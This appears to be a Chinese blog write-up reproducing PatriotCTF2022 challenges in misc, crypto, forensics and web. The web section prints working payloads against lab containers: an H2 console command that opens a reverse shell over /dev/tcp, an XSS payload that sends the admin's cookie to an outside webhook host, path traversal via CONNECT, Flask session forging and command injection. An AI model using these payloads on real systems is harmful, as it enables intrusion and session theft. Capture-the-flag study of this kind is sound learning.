PatriotCTF2022复现
- 前言
- Misc
-
- Apples
- It's All Greek to Me
- Crypto
-
- Barry
- Base64 Times 10
- No Postcode Envy
- The Order
- TwoFifty
- Forensics
-
- Banner
- Bézier
- Exfil
- Flexi
- Session Spy
- Web
-
- Boot_it_and_root_it
- Chewy or Crunchy
- Curly Fry
- InspectorClouseau
- Locked
- Not So Secret
- spongebob
- Rock and Roll
- 总结
前言
PatriotCTF2022
PatriotCTF2022年真的很难复制
生肉WP啃不动
头皮发麻
web各种题目容器bug
有各种各样的容器bug
Misc
Apples
用010
打开是ELF文件,拖进kali
要输入密码
使用strings
命令查看文件内容
$strings ./apples ///在对象文件或二进制文件中找到可打印的字符串
找到文件的密码
apples
生成 apples_reward 文件
文件里全是base64
编码
cat apples_reward | base64 -d > flag.txt
base64
解码后是.jpg
文件
打开后缀
然后是jpg
隐写,使用steghide
工具
$ steghide extract -sf flag.jpg Enter passphrase: apples wrote extracted data to "data.txt" $ cat data.txt pctf{
@pples_tast3_amaz\!ng666}
It’s All Greek to Me
2786 2532 4569 5221 1722 4172 490
In the Bible, every unique word has a number associated with it. This is a kind of book cipher where each number refers to a number in the Strongs' concordance of the Bible (the most common Bible concordance). By looking up the numbers in the Strongs' concordance, you get a sentence. //在圣经中,每个独特的词都有一个相关的数字。 这是一种书本密码,每个数字都是指强圣经索引(最常见的圣经索引)中的数字。 通过搜索强者索引中的数字,你会得到一个句子。
pctf{Antioch}
这个话题属实文化差异。
Crypto
Barry
$$=-=->;#& %,_(*#^[|>;$$$^$^!@(*>;..(*$^$$..?(>;[]$$%),_$$[|,_>;(*[|?:>=#&>=,_?((*>;..$$|}$$@%>=>=?(?:>;<!$^ %@%>=$$@%$^>=[|>;[]$^|},_[|?(..,_(*#^?($$#&>=[|>;>;?(:{$$$^$^[|>;#^>=[|,_[|?([]$$[|$^,_[|[|$^>=@%>; %|}>;[][][|?:>=#^#&>;<!(* %[|?:>=@%>=>=>;[]=->;<!#&?(>=[]$^,_>=?($$(*|}..$$|}@%>==-$$<!?(>=@%>=>=?( %>;(*[|=-$$#&>=..?:$$[|?:<!:{$$(*?([|?:,_(*!@,_?(,_:{ _>;?(?(,_@%$^>=|}>=$^$^>;..@%$^$$=-!@|}>=$^$^>;..@%$^$$=-!@|}>=$^$^>;..@%$^$$=-!@|}>=$^$^>;..@%$^$$=-!@>;>;?:@%$^$$=-!@$$(* %|}>=$^$^>;..$^>=[|?(?(?:$$!@>=,_[|<! _$$$^,_[|[|$^>=@%$$#&#&|}@%#&>=$$!@[]$$?([|,_?(#&>=$$ %|}?:>=#&>=,_?([|?:>=[]$^$$#^?([|,_$^$^?:$$%)>=(*[|?(>=>=(*[|?:>=[]<!$^$^:{>;%),_>=@%>=#^,_(*(*,_(*#^[|>;>=(* %
密码用两个特殊字符代替一个字母。 频率分析可以说服自己这一定是正确的
频率分析网站(https://www.dcode.fr/frequency-analysi)
虽然没分析出个什么
#decode.py
import string
ciphertext = "$$=-=->;#&+%,_(*#^[|>;$$$^$^!@(*>;..(*$^$$..?(>;[]$$%),_$$[|,_>;(*[|?:>=#&>=,_?((*>;..$$|}$$@%>=>=?(?:>;<!$^+%@%>=$$@%$^>=[|>;[]$^|},_[|?(..,_(*#^?($$#&>=[|>;>;?(:{$$$^$^[|>;#^>=[|,_[|?([]$$[|$^,_[|[|$^>=@%>;+%|}>;[][][|?:>=#^#&>;<!(*+%[|?:>=@%>=>=>;[]=->;<!#&?(>=[]$^,_>=?($$(*|}..$$|}@%>==-$$<!?(>=@%>=>=?(+%>;(*[|=-$$#&>=..?:$$[|?:<!:{$$(*?([|?:,_(*!@,_?(,_:{+_>;?(?(,_@%$^>=|}>=$^$^>;..@%$^$$=-!@|}>=$^$^>;..@%$^$$=-!@|}>=$^$^>;..@%$^$$=-!@|}>=$^$^>;..@%$^$$=-!@>;>;?:@%$^$$=-!@$$(*+%|}>=$^$^>;..$^>=[|?(?(?:$$!@>=,_[|<!+_$$$^,_[|[|$^>=@% $$#&#&|}@%#&>=$$!@[]$$?([|,_?(#&>=$$+%|}?:>=#&>=,_?([|?:>=[]$^$$#^?([|,_$^$^?:$$%)>=(*[|?(>=>=(*[|?:>=[]<!$^$^:{>;%),_>=@%>=#^,_(*(*,_(*#^[|>;>=(*+%"
mapping = {
}
chars = list(string.ascii_lowercase)
output = ""
for i in range(0, len(ciphertext), 2):
bigram = ciphertext[i:i+2]
if bigram not in mapping:
mapping[bigram] = chars.pop()
output += mapping[bigram]
print(output)
zyyxwvutsrxzqqptxotqzonxmzluzruxtrkjwjuntxozizhjjnkxgqvhjzhqjrxmqiurnoutsnzwjrxxnfzqqrxsjrurnmzrqurrqjhxvixmmrkjswxgtvrkjhjjxmyxgwnjmqujnztiozihjyzgnjhjjnvxtryzwjokzrkgfztnrkutpunufexnnuhqjijqqxohqzypijqqxohqzypijqqxohqzypijqqxohqzypxxkhqzypztvijqqxoqjrnnkzpjurgezqurrqjhzwwihwjzpmznrunwjzvikjwjunrkjmqzsnruqqkzljtrnjjtrkjmgqqfxlujhjsuttutsrxjtv
然后用下面的揭秘网站
https://www.boxentriq.com/code-breaking/cryptogram
PCTF{stillhaventseenthefullmoviebeginningtoend}
Base64 Times 10
Vm0wd2VHUXhTWGhXV0doVFYwZDRWRll3Wkc5V01WbDNXa1pPVlUxV2NIcFhhMXBQWVd4YWMxWnFUbGROYWtaSVdWZDRZV014VG5OWGJGcE9ZbTFvVVZacVNqUlpWMUpJVm10c2FsSnRVazlaVjNoaFlqRmtXR1JIUmxSTmJFcEpWbGR3WVZaSFNrZGpSVGxhWWxoT00xcFZXbUZqTVhCRlZXeG9hVlpzY0VsV2EyTXhVekpHVjFOdVZsSmlWR3hXVm01d1IyUnNiSEZTYlhSWFRWZFNNRnBGV2xOVWJGcFpVV3h3VjFaNlJYZFdha1poWkVaT2NtSkdTbWxoZWxab1ZtMTBWMWxXV1hoalJscFlZbGhTY1ZsclpGTmxiRmw1VFZSU1ZrMXJXVEpXYlhoelZqSktWVkZZYUZkV1JWcHlWVEJhUzJOV1pITmFSMmhzWWxob2IxWnRNWGRVTWtsNVVtdGthbEpzY0ZsWmJHaFRWMFphZEdONlJsZGlSbG93VkZab2ExWlhTbFpqUldSWFRWWktTRlpxU2t0VFJsWlpXa1prYUdFeGNGaFhiRlpoWkRGS2RGSnJaRmhpVjNodlZGVm9RMkl4V1hoYVJGSnBUVlZXTkZWc2FHOVdiR1JJWVVaU1YyRXlVVEJXVjNoaFZqRldXVnBHUWxaV1JFRTE=
解10
次base64
,可以用简单脚本跑出来
flag = "insert cipher text here"
for i in range(10):
flag_bytes = flag.encode('ascii')
base64_bytes = base64.b64decode(flag_bytes)
flag = base64_bytes.decode('ascii')
print(flag)
#pctf{0bfusc@tion_1s_n0t_3ncrypt10n}
No Postcode Envy
这个是邮编密码
,英国皇家邮政集团的邮编
使用RM4SCC
格式并解码正确的部分后,您将收到消息:OHLORDE
PCTF{OHLORDE}
The Order
这个是僧侣密码
下面是密码表
output
6811 1112 5195 1101 1710 9985 1114 9511 5121 1151 1651 1093 3
然后把数字转换成ASCII码
https://onlineasciitools.com/convert-decimal-to-ascii
PCTF{
Dop3_numb3r_syst3m!}
TwoFifty
n = 2140324650240744961264423072839333563008614715144755017797754920881418023447140136643345519095804679610992851872470914587687396261921557363047454770520805119056493106687691590019759405693457452230589325976697471681738069364894699871578494975937497937
e = 65537
c = 1374140457838957379493712264664046131145058468396958574281359672603632278570608567064112242671498606710440678399100851664468278477790512915780318592408890478262161233349656479275652165724092531743704926961399610549341692938259957133256408358261191631
在 RSA 中,这些因素是 p
和 q
。 这些用于查找解密密钥 d
from Crypto.Util.number import *
n = 2140324650240744961264423072839333563008614715144755017797754920881418023447140136643345519095804679610992851872470914587687396261921557363047454770520805119056493106687691590019759405693457452230589325976697471681738069364894699871578494975937497937
e = 65537
c = 1374140457838957379493712264664046131145058468396958574281359672603632278570608567064112242671498606710440678399100851664468278477790512915780318592408890478262161233349656479275652165724092531743704926961399610549341692938259957133256408358261191631
p = 64135289477071580278790190170577389084825014742943447208116859632024532344630238623598752668347708737661925585694639798853367
q = 33372027594978156556226010605355114227940760344767554666784520987023841729210037080257448673296881877565718986258036932062711
phi = (p-1)*(q-1)
d = inverse(e, phi)
m = pow(c,d,n)
print(long_to_bytes(m))
# PCTF{this_s3miprim3_t00k_2700_CPU_c0r3_y34rs_t0_cr4ck}
Forensics
Banner
数据包
查找http流
然后追踪TCP流
找到这样的一个数据流
设置数据格式为原始数据
然后保存到 data
, 然后执行 binwalk
命令
$ binwalk data
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
9176178 0x8C0472 Squashfs filesystem, little endian, version 4.0, compression:gzip, size: 17573585 bytes, 2603 inodes, blocksize: 131072 bytes, created: 2022-03-24 21:46:19
然后用 binwalk -e
来提取数据
$ binwalk -e data
会生成一个data.extracted
目录
然后会生成一个迷你系统文件群
这是因为这是 TP-Link
路由器固件的文件系统
然后flag
在当前目录下的 /etc/banner
$ cat /etc/banner
PCTF{
just_at3_ch1ck3n_nugg3ts}
Bézier
基本上,我们只需要在 zip 文件夹中找到两个注册表文件的区别即可
最简单的方法是使用内置的 linux 工具 diff
官方wp的解释
We see
SCRNSAVE.EXE"="C:\\Users\\Daniel\\Desktop\\shell.exe
, which looks sketchy. In Microsoft docs, we see that this registry key “specifies the name of the screen saver executable file”. Given that this executable is named “shell.exe”, we can infer this is the method of persistence used by the hacker. Now you just have to googleMITRE Screensaver Persistence
and you’ll get it.
Exfil
数据在 ICMP
数据包的数据部分中被输出。如果你在wireshark
中打开pcap
并过滤
,你会看到这个:data
数据包不正常,有点可疑。单击其中一个,您将看到如下所示的数据:no response found
我们看到的数据形式为 。如果单击它们,您会注意到第一部分是 或
。 表示正在发送数据
并意味着它是具有整个数据校验和的最后一个exfil数据包。第二部分是exfil数据包的序列号
第三部分是数据包的总数
data:1:39:some-hexdatachecksumdatachecksum
下面是一个用于抓取数据的快速脚本:
from scapy.all import *
import binascii
last_seqn = 0
result = ""
def get_payload(x):
global last_seqn
global result
try:
load = x.load.decode()
except:
return
split = load.split(":")
exfil = split[0]
if (exfil == 'data' or exfil == 'checksum'):
seqn = int(split[1])
total = int(split[2])
data = split[3]
if(exfil == "checksum"):
outf = open('out',"wb")
for i in range(0, len(result), 2):
outf.write(binascii.unhexlify(result[i:i+2]))
outf.close()
exit()
else:
result += data
sniff(offline='exfil.pcapng', filter="icmp", prn=get_payload)
$ cat out
[client]
password = PCTF{
n0t_4_v3ry_sn34ky_3xf1l}
port = 3306
socket = /run/mysqld/mysqld.sock
[mysqld]
port = 3306
<snip>
Flexi
ntds.dit
system
发现不出来什么 下载随附的 zip文件。 提取内容将提供
ntds.dit` 和系统配置单元文件
使用 secretsdump.py
提取hash密码,包括包含标志的明文密码
要使用secretsdump.py插件
secretsdump.py
impacket/examples/secretsdump.py -ntds ntds.dit -system system LOCAL
找到了clearTEXT
Session Spy
默认情况下,RDP 会话将位图缓存存储在本地计算机(RDP 连接源自的)的文件夹中。您通常可以在其中找到有关某人在连接到远程计算机上的RDP会话时所执行操作的有用信息。
C:\Users\USERNAME\AppData\Local\Microsoft\Terminal Server Client\Cache
将向你提供用户文件夹的快照,该文件夹以前已通过 RDP 连接到域控制器。因此,上面的缓存目录中有一个名为 的文件 Cache0000.bin
要从此缓存中提取位图文件
请使用此工具
python .\bmc-tools.py -s Cache -d out -b
[+++] Processing a directory...
[===] 2936 tiles successfully extracted in the end.
[===] Successfully exported 2936 files.
[===] Successfully exported collage file.
最后一个文件是这个Cache0000.bin_collage.bmp
如果放大中间顶部,可以看到一个正在运行的powershell
窗口打开
flag是用户名
svc_admin
flag{
svc_admin}
Web
Boot_it_and_root_it
打开题目
点什么东西都没反应
扫目录试试
PS D:\NB\NBtool\dirsearch\dirsearch> py .\dirsearch.py -u "http://192.168.92.128:8080/"
_|. _ _ _ _ _ _|_ v0.4.2.4
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11306
Output File: D:\NB\NBtool\dirsearch\dirsearch\reports\192.168.92.128_8080\__22-05-22_17-04-51.txt
Target: http://192.168.92.128:8080/
[17:04:51] Starting:
[17:04:57] 200 - 11KB - /;admin/
[17:04:57] 200 - 11KB - /;json/
[17:04:57] 200 - 11KB - /;login/
[17:04:57] 400 - 435B - /\..\..\..\..\..\..\..\..\..\etc\passwd
[17:04:57] 400 - 435B - /a%5c.aspx
[17:05:16] 500 - 73B - /error
[17:05:16] 500 - 73B - /error/
Task Completed
没有啥东西
看了wp之后才发现是 H2数据库
的问题
进入 /h2-console
目录
随便输入密码点击连接
是一个Sql后端平台
随便输入什么就报错,然后这其实是一个RCE 反弹shell
payload
CREATE ALIAS EXECMD AS $$ String execmd(String cmd) throws java.io.IOException {
Runtime.getRuntime().exec(cmd);return null; }$$;
CALL EXECMD('bash -c $@|bash 0 echo bash -i >& /dev/tcp/192.168.92.128/9999 0>&1');
监听端口
$ nc -lvp 9999
拿到shell
,找flag
在 /home/.someuser/.../
目录下有个shadow
文件
$ cd /home/.someuser/...
$ cat shadow
然后暴力破解shadow文件
得到密码登录
flag在root用户中
Chewy or Crunchy
随便注册一个账户
然后登陆
发现只有一个提交参数的页面
尝试xss攻击
<script>alert("xss")</script>
发现 .>{}
被过滤了
尝试其他方法
<svg onload=alert("xss")//
发现可以发送
然后查看自己的信息
发现可以构成xss攻击
然后使用https://webhook.site/
这个网站构造payload
,因为有个点所以用16进制转换
46.4.105.116 ---> http://0x2e046974
所以构造网址
http://0x2e046974/50917c4a-3402-492f-a3ac-5e4f8a1eef97
payload
<svg onload=document['location']="http://0x2e046974/50917c4a-3402-492f-a3ac-5e4f8a1eef97/?c="+document['cookie']//
然后将这个payload
发送给admin
用户
发送之后,在页面得到session
session=.eJwlzj0OwjAMQOG7ZGaInSaxe5nKvwKJqRET4u4UMb7pfe9y5BnrXvaU54pbOR5e9pIYBGOKVgo3wEmOtnUYDORs0TjRRaJnnyQtBrK4WVpvigltxIyxTQ6pfWMFSZ6eQL9Az6lIlbmrXZcW2kkHeMYwwlDFWi7Ia8X510D5fAFFYzCb.YooIFg.e1ujGDbkJr5rJiKN142ZfO1w4wU
让我们将其设置为会话 Cookie 值
:
成功进入admin
账户,进入Admin Panel
Curly Fry
工具:fuff
$ ffuf -w /path/to/wordlist -u https://target/FUZZ
I will release my secret curly fry recipe when I am ready. For now it is safely held in my /root directory
准备好后,我会发布我的秘密卷饼食谱。 现在它安全地保存在我的 /root 目录中
进入 /root
目录
我们知道flag
在目录中,但我们不知道文件名。我们可爆破目录
这个:/root
但是,当使用 CONNECT
方法时,不会发生这种情况
因此,如果您需要访问某些受保护的资源,则可以滥用此技巧:
curl --path-as-is -X CONNECT http://gofs.web.jctf.pro/../flag
┌──(root㉿kali)-[~/…/CTF/Tools/Web/ffuf]
└─# ./ffuf -w ./space.txt -u http://192.168.92.128/../../../../../../../root/FUZZ -e .txt -X CONNECT -c -fs 50
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.5.0
________________________________________________
:: Method : CONNECT
:: URL : http://192.168.92.128/../../../../../../../root/FUZZ
:: Wordlist : FUZZ: ./space.txt
:: Extensions : .txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response size: 50
________________________________________________
recipe [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 0ms]
recipe.txt [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 0ms]
:: Progress: [2/2] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::
过滤掉响应大小为 50 的所有响应。
如果你在没有过滤器的情况下进行fuzz测试,你将看到一个对于每次fuzz,
这只是默认的Web服务器响应:因此,我们过滤掉这些响应
-fs 50Status: 200, Size: 50The path provided is not a file or does not exist.
然后看到一个hit
继续用 curl
来读取文件
┌──(root㉿kali)-[~/…/PatriotCTF2022-Public-main/Web/Curly Fry/CurlyFry]
└─# curl --path-as-is -X CONNECT http://localhost/../../../../../../../root/recipe.txt
Ingredients: for 2 servings
- 2 curly potatoes
- 2 tablespoons of old bay seasoning
- ketchup and malt vinegar
Preparation
1. Preheat oven to 420°F
2. Slice the potatoes with a knife as they are already curly to begin with
3. Put your seasoning on em
4. Just throw them into the oven
5. Bake until they look good, idk.
6. Put ketchup on a plate and stir in a little malt vinegar
7. Enjoy!
8. Get flag: PCTF{
tru5t_m3_im_4_ch3f}
InspectorClouseau
查看网页源码
<!DOCTYPE html>
<html>
<head>
<title>Inspector Clouseau</title>
</head>
<body>
<p>It is lovely weather we are having *wink*</p>
<!-- PCTF{i_w0u1d_1ik3_t0_buy_4_h4mburg3r} -->
<img src="https://c.tenor.com/eArRyUt12M8AAAAC/pink-panther.gif">
</body>
</html>
Locked
用dirsearch
扫目录
┌──(root㉿kali)-[~/.config/clash]
└─# dirsearch -u "127.0.0.1:80"
_|. _ _ _ _ _ _|_ v0.4.2
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927
Output File: /root/.dirsearch/reports/80_22-05-26_21-42-43.txt
Error Log: /root/.dirsearch/logs/errors-22-05-26_21-42-43.log
Target: http://127.0.0.1:80/
[21:42:43] Starting:
[21:42:50] 301 - 169B - /admin -> http://127.0.0.1/admin/
[21:42:50] 200 - 299B - /admin/
[21:42:50] 200 - 299B - /admin/?/login
[21:42:50] 200 - 299B - /admin/index.html
[21:43:03] 200 - 114B - /index.html
[21:43:13] 200 - 68B - /robots.txt
Task Completed
发现有几个目录
/admin
/robots.txt
进入 /admin
目录
没什么重要信息
进入 /robots.txt
HAHAHAHAHA, you'll have to try harder than that to get the flag >:)
也没有发现什么
再扫 /admin
子目录
┌──(root㉿kali)-[~/.config/clash]
└─# dirsearch -u "127.0.0.1:80/admin"
_|. _ _ _ _ _ _|_ v0.4.2
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927
Output File: /root/.dirsearch/reports/80-admin_22-05-26_21-50-09.txt
Error Log: /root/.dirsearch/logs/errors-22-05-26_21-50-09.log
Target: http://127.0.0.1:80/admin/
[21:50:09] Starting:
[21:50:31] 200 - 299B - /admin/index.html
[21:50:33] 200 - 1KB - /admin/main.js
Task Completed
发现 /admin/main.js
文件
访问路径 是一段js 代码
有一段base64
VERKR2EySlhiSFZNTUVaTVUydFNWRk5yV2t4U1JrNUxWRVZHVkZKcE9YSmpNbmhyWVcxYWRtRlhSbXRqTWxsMVpFaG9NQT09
解码得到
/admin/AKJDSJFKDSJLASF/ksldjfoiadsf.txt
访问 路径
访问 url
Not So Secret
SSTI 模板注入
随便注册一个账户登录
输入内容是
{
{7*7}}
回显是49
是ssti注入
随便输入ssti注入命令
''.__class__.__base__.__subclasses__()
Hey. No funny business. These characters are not allowed: ._[]|\<>;
过滤了
._[]|\<>
然后查看配置
{
{
config}}
其中看到 SECTRET_KEY
'SECRET_KEY': 'FPpWMXbLgimHVQangSEsjInWUrHYzw'
如果我们有应用程序的密钥,我们可以签署应用程序使用的会话 cookie
接下来使用 flask-unsing
工具
pip3 install flask-unsign
我们首先解码 cookie
,以便我们知道格式。 使用 Firefox 扩展 cookie editor
.eJwlzjsOwjAMANC7ZGaIndiJe5nKvwjWlk6Iu1OJ_Q3vU_Z15Pks2_u48lH2V5StEHbpo3Nd1RqKDOuGWmUluufsPsBXDCRkng2gpbCBV01iEFgJLaoKhladZIBhrp2oUYwZrlNU0smYbjTnwMHALcAdsy6LckeuM4__Bsv3B3oyLwQ.YpB4-A.6nE-vv6QnchN3G58HwQGOO6BUwc
┌──(root㉿kali)-[/media/…/PatriotCTF2022-Public-main/Web/Not So Secret/NotSoSecret]
└─# flask-unsign --decode --cookie ".eJwlzjsOwjAMANC7ZGaIndiJe5nKvwjWlk6Iu1OJ_Q3vU_Z15Pks2_u48lH2V5StEHbpo3Nd1RqKDOuGWmUluufsPsBXDCRkng2gpbCBV01iEFgJLaoKhladZIBhrp2oUYwZrlNU0smYbjTnwMHALcAdsy6LckeuM4__Bsv3B3oyLwQ.YpB4-A.6nE-vv6QnchN3G58HwQGOO6BUwc"
{
'_fresh': True, '_id': '524947460f0b32997b4b2a09fe2cce84c71cfd72526683113e96b1c0ae56191fe13d0a92da0a85b12dbca45535d78dca89a9ec5b65a92887276163d1cc2e0fbd', '_user_id': '2'}
看到 '_user_id'
的值 是 2
我们可以假设 admin
用户的 '_user_id'
是 1
然后制造cookie
┌──(root㉿kali)-[/media/…/PatriotCTF2022-Public-main/Web/Not So Secret/NotSoSecret]
└─# flask-unsign --sign --cookie "{'_fresh': True, '_id': '524947460f0b32997b4b2a09fe2cce84c71cfd72526683113e96b1c0ae56191fe13d0a92da0a85b12dbca45535d78dca89a9ec5b65a92887276163d1cc2e0fbd', '_user_id': '1'}" --secret "FPpWMXbLgimHVQangSEsjInWUrHYzw"
.eJwlzjsOwjAMANC7ZGaIndiJe5nKvwjWlk6Iu1OJ_Q3vU_Z15Pks2_u48lH2V5StEHbpo3Nd1RqKDOuGWmUluufsPsBXDCRkng2gpbCBV01iEFgJLaoKhladZIBhrp2oUYwZrlNU0smYbjTnwMHALcAdsy6LckeuM4__Bsr3B3ovLwM.YpB9MQ.MMHCHtuRZHyppcJ0suBblAb0UnA
最后一步是将我们的会话 cookie
值更改为我们刚刚获得的值,然后重新加载网页。 我们应该是管理员并且可以访问管理面板:
spongebob
输入 ls
发现变成大写的了
<?php
$text = $_POST['text'];
$command = "python3.9 memetext.py \"$text\"";
$out = shell_exec($command);
echo $out;
?>
看到源码是这个
利用一个memetext.py
来转换字符串的大小写
然后想办法闭合这个语句
payload
text=";ls;"
可以看到有个 flag.jpg
然后访问这个文件
/flag-as98dc6rnv3p948r7asp98fdynp.jpg
Rock and Roll
打开连接就跳转到了
你被骗了
用burp抓包
得到 flag
总结
PatriotCTF2022复现了好长时间
首次接触国外的CTF
发现和国内的CTF 有很大区别
更多的是单纯的考知识点,很深的知识点
有些题目也复现不出来
还要继续学习